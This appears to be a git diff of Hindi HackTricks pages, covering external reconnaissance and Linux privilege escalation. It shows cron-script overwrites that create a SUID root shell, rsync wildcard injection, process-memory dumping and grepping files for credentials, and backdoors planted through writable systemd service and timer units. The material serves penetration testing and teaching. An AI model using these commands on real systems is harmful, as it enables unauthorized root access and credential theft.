इसके अलावा, चूंकि इस बिंदु पर आप दायरे के भीतर सभी डोमेन को जानेंगे, कोशिश करें [**संभित बकेट नामों को ब्रूट फोर्स करें और अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/).
इसके अलावा, चूंकि इस बिंदु पर आप दायरे के भीतर सभी डोमेन को जानेंगे, कोशिश करें [**संभव बकेट नामों को ब्रूट फोर्स करें और अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/).
### **निगरानी**
आप **सर्टिफिकेट ट्रांसपेरेंसी** लॉग्स की निगरानी करके देख सकते हैं कि किसी डोमेन के **नए सबडोमेन** बनाए गए हैं [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)करता है।
आप **सर्टिफिकेट ट्रांसपेरेंसी** लॉग्स की निगरानी करके देख सकते हैं कि किसी डोमेन के **नए सबडोमेन** बनाए गए हैं [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) करता है।
### **कमजोरियों की तलाश**
संभित [**सबडोमेन टेकओवर**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) के लिए जांचें।\
संभव [**सबडोमेन टेकओवर**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) के लिए जांचें।\
यदि **सबडोमेन** किसी **S3 बकेट** की ओर इशारा कर रहा है, तो [**अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/).
यदि आप किसी **सबडोमेन को एक अलग IP** के साथ पाते हैं जो आपने पहले से संपत्तियों की खोज में पाया है, तो आपको एक **बुनियादी कमजोरियों का स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। चल रहे सेवाओं के आधार पर, आप **इस पुस्तक में कुछ तरकीबें "हमला" करने के लिए** पा सकते हैं।\
यदि आप किसी **सबडोमेन को एक IP अलग** पाते हैं जो आपने पहले से संपत्तियों की खोज में पाया है, तो आपको एक **बुनियादी कमजोरियों का स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। चल रहे सेवाओं के आधार पर, आप **इस पुस्तक में कुछ तरकीबें "हमला" करने के लिए** पा सकते हैं।\
&#xNAN;_&#x4E;ote करें कि कभी-कभी सबडोमेन एक IP के भीतर होस्ट किया जाता है जो ग्राहक द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_
## IPs
प्रारंभिक चरणों में, आप **कुछ IP रेंज, डोमेन और सबडोमेन** पा सकते हैं।\
अब **उन रेंज से सभी IPs को इकट्ठा करे** और **डोमेन/सबडोमेन (DNS क्वेरी)** के लिए समय है
अब समय है कि आप **उन रेंज से सभी IPs को इकट्ठा कर** और **डोमेन/सबडोमेन (DNS क्वेरी) के लिए।**
निम्नलिखित **फ्री APIs** की सेवाओं का उपयोग करके, आप **डोमेन और सबडोमेन द्वारा उपयोग किए गए पिछले IPs** भी पा सकते हैं। ये IPs अभी भी ग्राहक के स्वामित्व में हो सकते हैं (और आपको [**CloudFlare बायपास**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) खोजने की अनुमति दे सकते हैं)
@ -471,17 +474,17 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
### **कमजोरियों की तलाश**
**CDNs से संबंधित सभी IPs का पोर्ट स्कैन करें** (क्योंकि आप वहां कुछ दिलचस्प नहीं पाएंगे)। खोजी गई सेवाओं में, आप **कमजोरियों को खोजने में सक्षम हो सकते हैं**
**CDNs से संबंधित सभी IPs का पोर्ट स्कैन करें** (क्योंकि आप वहां कुछ दिलचस्प नहीं पाएंगे)। चल रही सेवाओं में, आप **कमजोरियों को खोजने में सक्षम हो सकते हैं**
**होस्ट स्कैन करने के लिए एक** [**गाइड**](../pentesting-network/) **खोजें।**
**एक** [**गाइड**](../pentesting-network/) **खोजें कि कैसे होस्ट को स्कैन करें।**
## वेब सर्वर शिकार
> हमने सभी कंपनियों और उनके संपत्तियों को खोज लिया है और हम दायरे के भीतर IP रेंज, डोमेन और सबडोमेन जानते हैं। अब वेब सर्वरों की खोज करने का समय है।
पिछले चरणों में, आपने शायद पहले से ही खोजे गए IPs और डोमेन का कुछ **रिपोर्ट किया है**, इसलिए आप **संभावित सभी वेब सर्वरों** को पहले से ही पा चुके होंगे। हालाँकि, यदि आपने नहीं किया है, तो हम अब दायरे के भीतर वेब सर्वरों की खोज के लिए कुछ **तेज़ तरकीबें** देखेंगे।
पिछले चरणों में, आपने शायद पहले से ही खोजे गए IPs और डोमेन का कुछ **रिपोर्ट किया है**, इसलिए आप **संभवतः सभी संभावित वेब सर्वरों को पहले से ही खोज चुके हैं**। हालाँकि, यदि आपने नहीं किया है, तो हम अब दायरे के भीतर वेब सर्वरों की खोज के लिए कुछ **तेज़ तरकीबें** देखेंगे।
कृपया ध्यान दें कि यह **वेब ऐप्स की खोज के लिए उन्मुख** होगा, इसलिए आपको **कमजोरियों** और **पोर्ट स्कैनिंग** भी करनी चाहिए (**यदि दायरे द्वारा अनुमति दी गई हो**).
कृपया ध्यान दें कि यह **वेब ऐप्स की खोज के लिए उन्मुख** होगा, इसलिए आपको **कमजोरियों** और **पोर्ट स्कैनिंग** को भी करना चाहिए (**यदि दायरे द्वारा अनुमति दी गई हो**).
**वेब** सर्वरों से संबंधित **खुले पोर्ट** खोजने के लिए एक **तेज़ विधि** [**masscan** का उपयोग करके यहां पाई जा सकती है](../pentesting-network/#http-port-discovery).\
वेब सर्वरों की खोज के लिए एक और उपयोगी टूल [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) और [**httpx**](https://github.com/projectdiscovery/httpx) है। आप बस डोमेन की एक सूची पास करते हैं और यह पोर्ट 80 (http) और 443 (https) से कनेक्ट करने की कोशिश करेगा। इसके अतिरिक्त, आप अन्य पोर्ट की कोशिश करने के लिए संकेत दे सकते हैं:
@ -507,7 +510,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
- [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
फिर, उन शब्दों के साथ आपको **परम्यूटेशन** उत्पन्न करनी चाहिए (अधिक जानकारी के लिए [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) देखें)।
फिर, उन शब्दों के साथ आपको **परम्यूटेशन** उत्पन्न करनी चाहिए (अधिक जानकारी के लिए [**दूसरे राउंड DNS ब्रूट-फोर्स**](./#second-dns-bruteforce-round) की जांच करें)।
परिणामी वर्डलिस्ट के साथ आप [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **या** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** का उपयोग कर सकते हैं।**
@ -554,7 +557,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
#### गिटहब डॉर्क्स
आप उस **पृष्ठ** की भी जांच करें जहाँ संभावित **गिटहब डॉर्क्स** हैं जिन्हें आप उस संगठन में खोज सकते हैं जिसे आप लक्षित कर रहे हैं:
आप उस **पृष्ठ** की भी जांच करें जिसमें संभावित **गिटहब डॉर्क्स** हैं जिन्हें आप उस संगठन में खोज सकते हैं जिसे आप लक्षित कर रहे हैं:
{{#ref}}
github-leaked-secrets.md
@ -589,11 +592,11 @@ _ध्यान दें कि जो टूल नियमित गूग
- [**Snyk**](https://app.snyk.io/)
## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/)
## [**पेंटेस्टिंग वेब मेथोडोलॉजी**](../../network-services-pentesting/pentesting-web/)
**कमजोरियों** की **अधिकांशता** जो बग हंटर्स द्वारा पाई जाती हैं, वे **वेब एप्लिकेशनों** के अंदर होती है, इसलिए इस बिंदु पर मैं एक **वेब एप्लिकेशन परीक्षण पद्धति** के बारे में बात करना चाहता हूँ, और आप [**यहाँ इस जानकारी को पा सकते हैं**](../../network-services-pentesting/pentesting-web/)।
**कमजोरियों** की **अधिकांशता** जो बग हंटर्स द्वारा पाई जाती है, **वेब अनुप्रयोगों** के अंदर होती है, इसलिए इस बिंदु पर मैं एक **वेब अनुप्रयोग परीक्षण पद्धति** के बारे में बात करना चाहता हूँ, और आप [**यहाँ इस जानकारी को पा सकते हैं**](../../network-services-pentesting/pentesting-web/)।
मैं [**वेब स्वचालित स्कैनर्स ओपन-सोर्स टूल्स**](../../network-services-pentesting/pentesting-web/#automatic-scanners) अनुभाग का विशेष उल्लेख करना चाहता हूँ, क्योंकि, यदि आप उनसे बहुत संवेदनशील कमजोरियों की खोज करने की उम्मीद नहीं करते हैं, तो वे **प्रारंभिक वेब जानकारी प्राप्त करने के लिए कार्यप्रवाहों में लागू करने के लिए सहायक होते हैं।**
मैं [**वेब स्वचालित स्कैनर्स ओपन सोर्स टूल्स**](../../network-services-pentesting/pentesting-web/#automatic-scanners) अनुभाग का विशेष उल्लेख करना चाहता हूँ, क्योंकि, यदि आपको उनसे बहुत संवेदनशील कमजोरियों की खोज करने की उम्मीद नहीं करनी चाहिए, तो वे **प्रारंभिक वेब जानकारी प्राप्त करने के लिए कार्यप्रवाहों में लागू करने के लिए सहायक होते हैं।**
## पुनरावलोकन
@ -624,5 +627,4 @@ _ध्यान दें कि जो टूल नियमित गूग
- [**@Jhaddix**](https://twitter.com/Jhaddix) के सभी मुफ्त पाठ्यक्रम जैसे [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -26,7 +26,7 @@ echo $PATH
```
### Kernel exploits
कर्नेल संस्करण की जांच करें और यदि कोई ऐसा एक्सप्लॉइट है जिसका उपयोग विशेषाधिकार बढ़ाने के लिए किया जा सकता है
कर्नेल संस्करण की जांच करें और यदि कोई ऐसा एक्सप्लॉइट है जिसका उपयोग विशेषाधिकार बढ़ाने के लिए किया जा सकता है
```bash
cat /proc/version
uname -a
@ -140,7 +140,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
```
## उपयोगी सॉफ़्टवेयर
उपयोगी बाइनरीज़ की सूची बनाए
उपयोगी बाइनरीज़ की गणना करे
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
@ -158,7 +158,7 @@ rpm -qa #Centos
```
यदि आपके पास मशीन पर SSH पहुंच है, तो आप **openVAS** का उपयोग करके मशीन के अंदर स्थापित पुराने और कमजोर सॉफ़्टवेयर की जांच कर सकते हैं।
> [!NOTE] > _ध्यान दें कि ये कमांड बहुत सारी जानकारी दिखाएंगे जो ज्यादातर बेकार होगी, इसलिए कुछ अनुप्रयोगों जैसे OpenVAS या समान का उपयोग करने की सिफारिश की जाती है जो जांचेंगे कि क्या कोई स्थापित सॉफ़्टवेयर संस्करण ज्ञात शोषणों के लिए कमजोर है_
> [!NOTE] > _ध्यान दें कि ये कमांड बहुत सारी जानकारी दिखाएंगे जो ज्यादातर बेकार होगी, इसलिए कुछ एप्लिकेशन जैसे OpenVAS या समान का उपयोग करने की सिफारिश की जाती है जो जांचेंगे कि क्या कोई स्थापित सॉफ़्टवेयर संस्करण ज्ञात शोषणों के लिए कमजोर है_
## प्रक्रियाएँ
@ -168,8 +168,8 @@ ps aux
ps -ef
top -n 1
```
हमेशा संभावित [**electron/cef/chromium debuggers**] के लिए जांचें जो चल रहे हैं, आप इसका दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं](electron-cef-chromium-debugger-abuse.md)। **Linpeas** इन्हें प्रक्रिया की कमांड लाइन में `--inspect` पैरामीटर की जांच करके पहचानते हैं।\
साथ ही **प्रक्रियाओं के बाइनरी पर अपने विशेषाधिकारों की जांच करें**, शायद आप किसी और को ओवरराइट कर सकते हैं।
हमेशा संभावित [**electron/cef/chromium debuggers**] के लिए जांचें जो चल रहे हैं, आप इसका दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं](electron-cef-chromium-debugger-abuse.md)। **Linpeas** इनकी पहचान `--inspect` पैरामीटर को प्रक्रिया की कमांड लाइन में चेक करके करते हैं।\
साथ ही **प्रक्रियाओं के बाइनरी पर अपने विशेषाधिकारों की जांच करें**, शायद आप किसी को ओवरराइट कर सकते हैं।
### प्रक्रिया निगरानी
@ -179,10 +179,10 @@ top -n 1
कुछ सर्वर की सेवाएँ **मेमोरी के अंदर स्पष्ट पाठ में क्रेडेंशियल्स** सहेजती हैं।\
सामान्यतः, आपको अन्य उपयोगकर्ताओं से संबंधित प्रक्रियाओं की मेमोरी पढ़ने के लिए **रूट विशेषाधिकार** की आवश्यकता होगी, इसलिए यह आमतौर पर तब अधिक उपयोगी होता है जब आप पहले से ही रूट हैं और अधिक क्रेडेंशियल्स खोजने की कोशिश कर रहे हैं।\
हालांकि, याद रखें कि **एक नियमित उपयोगकर्ता के रूप में आप उन प्रक्रियाओं की मेमोरी पढ़ सकते हैं जो आपके स्वामित्व में हैं**।
हालांकि, याद रखें कि **एक नियमित उपयोगकर्ता के रूप में आप अपनी प्रक्रियाओं की मेमोरी पढ़ सकते हैं**।
> [!WARNING]
> ध्यान दें कि आजकल अधिकांश मशीनें **डिफ़ॉल्ट रूप से ptrace की अनुमति नहीं देतीं** जिसका अर्थ है कि आप अपने बिना विशेषाधिकार वाले उपयोगकर्ता से संबंधित अन्य प्रक्रियाओं को डंप नहीं कर सकते।
> ध्यान दें कि आजकल अधिकांश मशीनें **डिफ़ॉल्ट रूप से ptrace की अनुमति नहीं देतीं** जिसका अर्थ है कि आप अपने अप्रिविलेज्ड उपयोगकर्ता से संबंधित अन्य प्रक्रियाओं को डंप नहीं कर सकते।
>
> फ़ाइल _**/proc/sys/kernel/yama/ptrace_scope**_ ptrace की पहुंच को नियंत्रित करती है:
>
@ -215,7 +215,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
किसी दिए गए प्रक्रिया आईडी के लिए, **maps दिखाता है कि मेमोरी उस प्रक्रिया के** वर्चुअल एड्रेस स्पेस के भीतर कैसे मैप की गई है; यह **प्रत्येक मैप की गई क्षेत्र के अनुमतियों** को भी दिखाता है। **mem** प्सेउडो फ़ाइल **प्रक्रियाओं की मेमोरी को स्वयं उजागर करती है****maps** फ़ाइल से हमें पता चलता है कि **कौन सी मेमोरी क्षेत्र पढ़ने योग्य हैं** और उनके ऑफसेट। हम इस जानकारी का उपयोग **mem फ़ाइल में खोजने और सभी पढ़ने योग्य क्षेत्रों को एक फ़ाइल में डंप करने** के लिए करते हैं।
किसी दिए गए प्रक्रिया आईडी के लिए, **maps दिखाता है कि मेमोरी उस प्रक्रिया के** वर्चुअल एड्रेस स्पेस के भीतर कैसे मैप की गई है; यह **प्रत्येक मैप की गई क्षेत्र के अनुमतियों** को भी दिखाता है। **mem** प्सेउडो फ़ाइल **प्रक्रियाओं की मेमोरी को स्वयं उजागर करती है****maps** फ़ाइल से हम जानते हैं कि **कौन सी मेमोरी क्षेत्र पढ़ने योग्य हैं** और उनके ऑफसेट क्या हैं। हम इस जानकारी का उपयोग **mem फ़ाइल में खोजने और सभी पढ़ने योग्य क्षेत्रों को एक फ़ाइल में डंप करने** के लिए करते हैं।
```bash
procdump()
(
@ -237,7 +237,7 @@ strings /dev/mem -n10 | grep -i PASS
```
### ProcDump for linux
ProcDump एक Linux में Sysinternals टूल्स के क्लासिक ProcDump टूल का पुनः आविष्कार है। इसे [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) पर प्राप्त करें।
ProcDump एक Linux में Sysinternals टूल्स के क्लासिक ProcDump टूल का पुनः आविष्कार है जो Windows के लिए है। इसे [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) पर प्राप्त करें।
```
procdump -p 1714
@ -266,7 +266,7 @@ Press Ctrl-C to end monitoring without terminating the process.
```
### Tools
एक प्रक्रिया की मेमोरी को डंप करने के लिए आप उपयोग कर सकते हैं:
एक प्रक्रिया मेमोरी को डंप करने के लिए आप उपयोग कर सकते हैं:
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_आप मैन्युअल रूप से रूट आवश्यकताओं को हटा सकते हैं और अपने द्वारा स्वामित्व वाली प्रक्रिया को डंप कर सकते हैं
@ -327,22 +327,22 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
(_ध्यान दें कि उपयोगकर्ता "user" के पास /home/user पर लिखने के अधिकार हैं_)
यदि इस क्रॉनटैब के अंदर रूट उपयोगकर्ता बिना पथ सेट किए किसी कमांड या स्क्रिप्ट को निष्पादित करने की कोशिश करता है। उदाहरण के लिए: _\* \* \* \* root overwrite.sh_\
यदि इस क्रॉनटैब के अंदर रूट उपयोगकर्ता बिना पथ सेट किए कुछ कमांड या स्क्रिप्ट निष्पादित करने की कोशिश करता है। उदाहरण के लिए: _\* \* \* \* root overwrite.sh_\
तो, आप इसका उपयोग करके एक रूट शेल प्राप्त कर सकते हैं:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
```
### Cron एक स्क्रिप्ट का उपयोग करके ज वाइल्डकार्ड है (Wildcard Injection)
### Cron एक स्क्रिप्ट का उपयोग करके जिसमें वाइल्डकार्ड है (Wildcard Injection)
यदि एक स्क्रिप्ट जिसे रूट द्वारा निष्पादित किया गया है, एक कमांड के अंदर “**\***” है, तो आप इसका उपयोग अप्रत्याशित चीजें करने के लिए कर सकते हैं (जैसे privesc)। उदाहरण:
यदि एक स्क्रिप्ट जिसे रूट द्वारा निष्पादित किया जाता है, एक कमांड के अंदर “**\***” है, तो आप इसका उपयोग अप्रत्याशित चीजें करने के लिए कर सकते हैं (जैसे privesc)। उदाहरण:
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
**यदि वाइल्डकार्ड के पहले एक पथ ह जैसे** _**/some/path/\***_ **, तो यह संवेदनशील नहीं है (यहां तक कि** _**./\***_ **भी नहीं है)।**
**यदि वाइल्डकार्ड के पहले एक पथ ह जैसे** _**/some/path/\***_ **, तो यह संवेदनशील नहीं है (यहां तक कि** _**./\***_ **भी नहीं है)।**
अधिक वाइल्डकार्ड शोषण तकनीकों के लिए निम्नलिखित पृष्ठ पढ़ें:
अधिक वाइल्डकार्ड शोषण चालों के लिए निम्नलिखित पृष्ठ पढ़ें:
{{#ref}}
wildcards-spare-tricks.md
@ -350,7 +350,7 @@ wildcards-spare-tricks.md
### क्रोन स्क्रिप्ट ओवरराइटिंग और सिम्लिंक
यदि आप **एक क्रोन स्क्रिप्ट को संशोधित कर सकते हैं**ो रूट द्वारा निष्पादित होती है, तो आप बहुत आसानी से एक शेल प्राप्त कर सकते हैं:
यदि आप **एक क्रोन स्क्रिप्ट को संशोधित कर सकते हैं**िसे रूट द्वारा निष्पादित किया जाता है, तो आप बहुत आसानी से एक शेल प्राप्त कर सकते हैं:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
@ -380,7 +380,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### Writable _.service_ फ़ाइलें
जांचें कि क्या आप किसी `.service` फ़ाइल को लिख सकते हैं, यदि आप कर सकते हैं, तो आप इसे **संशोधित कर सकते हैं** ताकि यह **आपका बैकडोर चलाए** जब सेवा **शुरू** होती है, **फिर से शुरू** होती है या **रोक दी** जाती है (शायद आपको मशीन के पुनरारंभ होने का इंतजार करना पड़े)।\
जांचें कि क्या आप किसी `.service` फ़ाइल को लिख सकते हैं, यदि आप कर सकते हैं, तो आप इसे **संशोधित कर सकते हैं** ताकि यह **आपका बैकडोर चलाए** जब सेवा **शुरू**, **फिर से शुरू** या **रोक दी** जाती है (शायद आपको मशीन के पुनरारंभ होने का इंतजार करना पड़े)।\
उदाहरण के लिए, .service फ़ाइल के अंदर अपने बैकडोर को **`ExecStart=/tmp/script.sh`** के साथ बनाएं।
### Writable सेवा बाइनरी
@ -393,7 +393,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
```bash
systemctl show-environment
```
यदि आप पाते हैं कि आप पथ के किसी भी फ़ोल्डर में **लिख** सकते हैं, तो आप **अधिकार बढ़ाने** में सक्षम हो सकते हैं। आपको सेवा कॉन्फ़िगरेशन फ़ाइलों में **सापेक्ष पथों** के उपयोग की खोज करनी होगी जैसे:
यदि आप पाते हैं कि आप पथ के किसी भी फ़ोल्डर में **लिख** सकते हैं, तो आप **अधिकार बढ़ाने** में सक्षम हो सकते हैं। आपको सेवा कॉन्फ़िगरेशन फ़ाइलों में **सापेक्ष पथों** के उपयोग की खोज करने की आवश्यकता है जैसे:
```bash
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
@ -401,7 +401,7 @@ ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
फिर, एक **executables** बनाएं जिसका **नाम उस सापेक्ष पथ बाइनरी** के समान हो जो आप लिख सकते हैं systemd PATH फ़ोल्डर के अंदर, और जब सेवा को कमजोर क्रिया (**Start**, **Stop**, **Reload**) को निष्पादित करने के लिए कहा जाता है, तो आपका **backdoor निष्पादित होगा** (अधिकारहीन उपयोगकर्ता आमतौर पर सेवाओं को शुरू/रोक नहीं सकते लेकिन जांचें कि क्या आप `sudo -l` का उपयोग कर सकते हैं)।
**सेवाओं के बारे में अधिक जानें `man systemd.service` के साथ।**
**सेवाओं के बारे में अधिक जानें `man systemd.service`।**
## **Timers**
@ -419,18 +419,18 @@ Unit=backdoor.service
```
डॉक्यूमेंटेशन में आप पढ़ सकते हैं कि यूनिट क्या है:
> वह यूनिट जिसे इस टाइमर के समाप्त होने पर सक्रिय किया जाना है। तर्क एक यूनिट नाम है, जिसका उपसर्ग ".timer" नहीं है। यदि निर्दिष्ट नहीं किया गया है, तो यह मान उस सेवा का डिफ़ॉल्ट होता है जिसका नाम टाइमर यूनिट के समान होता है, सिवाय उपसर्ग के। (ऊपर देखें।) यह अनुशंसा की जाती है कि सक्रिय की जाने वाली यूनिट का नाम और टाइमर यूनिट का नाम समान रूप से नामित किया जाए, सिवाय उपसर्ग के।
> जब यह टाइमर समाप्त होता है, तो सक्रिय करने के लिए यूनिट। तर्क एक यूनिट नाम है, जिसका उपसर्ग ".timer" नहीं है। यदि निर्दिष्ट नहीं किया गया है, तो यह मान उस सेवा का डिफ़ॉल्ट होता है जिसका नाम टाइमर यूनिट के समान होता है, सिवाय उपसर्ग के। (ऊपर देखें।) यह अनुशंसा की जाती है कि सक्रिय की गई यूनिट का नाम और टाइमर यूनिट का नाम समान रूप से नामित किया जाए, सिवाय उपसर्ग के।
इसलिए, इस अनुमति का दुरुपयोग करने के लिए आपको चाहिए:
- कुछ systemd यूनिट (जैसे `.service`) खोजें जो **एक लिखने योग्य बाइनरी** को **निष्पादित** कर रही है
- कुछ systemd यूनिट खोजें जो **एक सापेक्ष पथ** को **निष्पादित** कर रही है और आपके पास **systemd PATH** पर **लिखने के अधिकार** हैं (उस निष्पादन योग्य की नकल करने के लिए)
- कुछ systemd यूनिट (जैसे `.service`) खोजें जो **एक लिखने योग्य बाइनरी** चला रही है
- कुछ systemd यूनिट खोजें जो **एक सापेक्ष पथ** चला रही है और आपके पास **systemd PATH** पर **लिखने की अनुमति** है (उस निष्पादन योग्य की नकल करने के लिए)
**`man systemd.timer` के साथ टाइमर्स के बारे में अधिक जानें।**
**टाइमर्स के बारे में अधिक जानें `man systemd.timer` के साथ।**
### **टाइमर सक्षम करना**
टाइमर को सक्षम करने के लिए आपको रूट विशेषाधिकार की आवश्यकता है और निष्पादित करना होगा:
टाइमर को सक्षम करने के लिए आपको रूट अनुमतियाँ चाहिए और निष्पादित करना होगा:
```bash
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
@ -439,14 +439,14 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li
## सॉकेट्स
यूनिक्स डोमेन सॉकेट्स (UDS) **प्रक्रिया संचार** को समान या विभिन्न मशीनों पर क्लाइंट-सवर मॉडल के भीतर सक्षम करते हैं। वे इंटर-कंप्यूटर संचार के लिए मानक यूनिक्स डिस्क्रिप्टर फ़ाइलों का उपयोग करते हैं और `.socket` फ़ाइलों के माध्यम से सेटअप किए जाते हैं।
यूनिक्स डोमेन सॉकेट्स (UDS) **प्रक्रिया संचार** को समान या विभिन्न मशीनों पर क्लाइंट-सरवर मॉडल के भीतर सक्षम करते हैं। वे इंटर-कंप्यूटर संचार के लिए मानक यूनिक्स डिस्क्रिप्टर फ़ाइलों का उपयोग करते हैं और `.socket` फ़ाइलों के माध्यम से सेटअप किए जाते हैं।
सॉकेट्स को `.socket` फ़ाइलों का उपयोग करके कॉन्फ़िगर किया जा सकता है।
**सॉकेट्स के बारे में अधिक जानें `man systemd.socket` के साथ।** इस फ़ाइल के अंदर, कई दिलचस्प पैरामीटर कॉन्फ़िगर किए जा सकते हैं:
**`man systemd.socket` के साथ सॉकेट्स के बारे में अधिक जानें।** इस फ़ाइल के अंदर, कई दिलचस्प पैरामीटर कॉन्फ़िगर किए जा सकते हैं:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ये विकल्प अलग हैं लेकिन एक सारांश का उपयोग **यह इंगित करने के लिए किया जाता है कि यह सॉकेट पर कहां सुनेगा** (AF_UNIX सॉकेट फ़ाइल का पथ, IPv4/6 और/या सुनने के लिए पोर्ट नंबर, आदि)
- `Accept`: एक बूलियन तर्क लेता है। यदि **सत्य**, तो **प्रत्येक आने वाले कनेक्शन के लिए एक सेवा उदाहरण उत्पन्न होता है** और केवल कनेक्शन सॉकेट इसे सौंपा जाता है। यदि **असत्य**, तो सभी सुनने वाले सॉकेट स्वयं **शुरू की गई सेवा इकाई** को सौंपे जाते हैं, और सभी कनेक्शनों के लिए केवल एक सेवा इकाई उत्पन्न होती है। यह मान डाटाग्राम सॉकेट और FIFOs के लिए अनदेखा किया जाता है जहां एकल सेवा इकाई बिना शर्त सभी आने वाले ट्रैफ़िक को संभालती है। **डिफ़ॉल्ट रूप से असत्य**। प्रदर्शन कारणों से, नए डेमनों को केवल `Accept=no` के लिए उपयुक्त तरीके से लिखने की सिफारिश की जाती है।
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ये विकल्प अलग हैं लेकिन एक सारांश का उपयोग **यह इंगित करने के लिए किया जाता है कि यह सॉकेट पर कहां सुनेगा** (AF_UNIX सॉकेट फ़ाइल का पथ, सुनने के लिए IPv4/6 और/या पोर्ट नंबर, आदि)
- `Accept`: एक बूलियन तर्क लेता है। यदि **सत्य**, तो **प्रत्येक आने वाले कनेक्शन के लिए एक सेवा उदाहरण उत्पन्न होता है** और केवल कनेक्शन सॉकेट इसे पास किया जाता है। यदि **झूठ**, तो सभी सुनने वाले सॉकेट स्वयं **शुरू की गई सेवा इकाई** को पास किए जाते हैं, और सभी कनेक्शनों के लिए केवल एक सेवा इकाई उत्पन्न होती है। यह मान डाटाग्राम सॉकेट और FIFOs के लिए अनदेखा किया जाता है जहां एकल सेवा इकाई बिना शर्त सभी आने वाले ट्रैफ़िक को संभालती है। **डिफ़ॉल्ट रूप से झूठा है**। प्रदर्शन कारणों से, नए डेमनों को केवल `Accept=no` के लिए उपयुक्त तरीके से लिखने की सिफारिश की जाती है।
- `ExecStartPre`, `ExecStartPost`: एक या एक से अधिक कमांड लाइनों को लेता है, जो **सुनने वाले** **सॉकेट्स**/FIFOs के **निर्माण** और बंधन से पहले या बाद में **निष्पादित** होते हैं। कमांड लाइन का पहला टोकन एक पूर्ण फ़ाइल नाम होना चाहिए, उसके बाद प्रक्रिया के लिए तर्क होते हैं।
- `ExecStopPre`, `ExecStopPost`: अतिरिक्त **कमांड** जो **सुनने वाले** **सॉकेट्स**/FIFOs के **बंद** और हटाए जाने से पहले या बाद में **निष्पादित** होते हैं।
- `Service`: **आने वाले ट्रैफ़िक** पर **सक्रिय** करने के लिए **सेवा** इकाई का नाम निर्दिष्ट करता है। यह सेटिंग केवल उन सॉकेट्स के लिए अनुमति है जिनका Accept=no है। यह उस सेवा पर डिफ़ॉल्ट होता है जिसका नाम सॉकेट के समान होता है (जिसका उपसर्ग बदला गया हो)। अधिकांश मामलों में, इस विकल्प का उपयोग करना आवश्यक नहीं होना चाहिए।
@ -458,7 +458,7 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li
